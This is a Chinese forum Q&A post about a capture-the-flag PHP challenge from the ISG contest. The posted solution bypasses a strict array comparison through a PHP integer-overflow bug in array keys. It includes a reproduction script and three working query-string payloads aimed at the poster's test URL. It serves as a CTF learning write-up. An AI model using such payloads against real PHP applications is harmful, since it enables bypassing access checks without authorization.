PHP的信息安全(入侵获取$flag)的题目【Q2】

地址:http://202.120.7.134:8888/html/array.php

clipboard.png

参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。

Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892

clipboard.png

我觉得这种利用BUG出题的,简直是……

比赛时间已过,果断自己写了下代码:

<?php

//这里简化一下题目,直接把time定死
$flag = 'ISG{'.time().'}';
$time = '1445502008';//2015/10/22 16:20:8

if(empty($_GET['user']))die(show_source(__FILE__));
$user = array('admin', $time );
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;}

clipboard.png

测试效果:

clipboard.png

clipboard.png

测试地址:
http://moonlordapi.sinaapp.com/1.php

补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[1]=1445502008

就此愉快地结题了。

阅读 12.8k
2 个回答

请教了我安全的大神同学 他说0可以通过整型溢出得到 绕过if判断

楼上正解。。。。

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题
宣传栏